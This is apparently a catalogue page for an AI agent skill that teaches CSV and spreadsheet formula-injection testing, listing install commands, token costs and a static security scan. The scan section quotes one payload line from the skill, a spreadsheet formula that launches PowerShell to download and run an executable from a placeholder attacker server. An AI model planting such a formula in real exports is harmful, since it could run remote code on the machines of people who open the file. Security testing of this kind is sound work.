csv-formula-injection

csv-formula-injection is a skill for Claude Code, Codex from lhuciverjobs-ui/fox. It costs 41 tokens per session (1,151 once invoked), scanned A, original, no licence file.

A security testing guide for formula injection in CSV files and spreadsheets. Formula injection happens when spreadsheet software treats exported user data as a command or calculation.

In plain words
What is it for?
Use it when reviewing exports, imports, reports, or user fields that are opened in Excel, LibreOffice, or Google Sheets.
Why use it?
It helps find cases where ordinary-looking input could run spreadsheet formulas or trigger actions when someone opens or imports the data.

Skill for Claude CodeCodex

Which agent this was written for is unclear — body not stored (licence); the path alone says nothing.

Good fit Use it when reviewing exports, imports, reports, or user fields that are opened in Excel, LibreOffice, or Google Sheets.

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Install with agentmods
npx agentmods add skills/lhuciverjobs-ui/fox/csv-formula-injection
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add lhuciverjobs-ui/fox --skill csv-formula-injection
Clone the repo
git clone --depth 1 https://github.com/lhuciverjobs-ui/fox

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for csv-formula-injection

README.md
[![agentmods](https://agentmods.dev/badge/skills/lhuciverjobs-ui/fox/csv-formula-injection/github.svg)](https://agentmods.dev/skills/lhuciverjobs-ui/fox/csv-formula-injection)
Your own site
<a href="https://agentmods.dev/skills/lhuciverjobs-ui/fox/csv-formula-injection"><img src="https://agentmods.dev/badge/skills/lhuciverjobs-ui/fox/csv-formula-injection/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for csv-formula-injection

Your own site · 80×15
<a href="https://agentmods.dev/skills/lhuciverjobs-ui/fox/csv-formula-injection"><img src="https://agentmods.dev/badge/skills/lhuciverjobs-ui/fox/csv-formula-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 41 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,151 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00041 $0.01151
Opus 5 $0.00020 $0.00575
Sonnet 5 $0.00008 $0.00230
Haiku 4.5 $0.00004 $0.00115

Measured 11d ago against content hash f1218bcfcf19, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

csv-formula-injection scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
skills/hack-skills/csv-formula-injection/SKILL.md · 145 lines

The source is not reproduced here

No licence file

A repository with no LICENSE is all rights reserved by default, so the body is not copied here. The metadata, the measurements and the link are.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 11d ago First seen · 145 lines · 41 tokens per session scan A f1218bcfcf19

Subscribe to this mod's changes

csv-formula-injection is a skill published in the GitHub repository lhuciverjobs-ui/fox (26 stars, last pushed 1mo ago), with no licence file. It adds 41 tokens to every session and 1,151 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.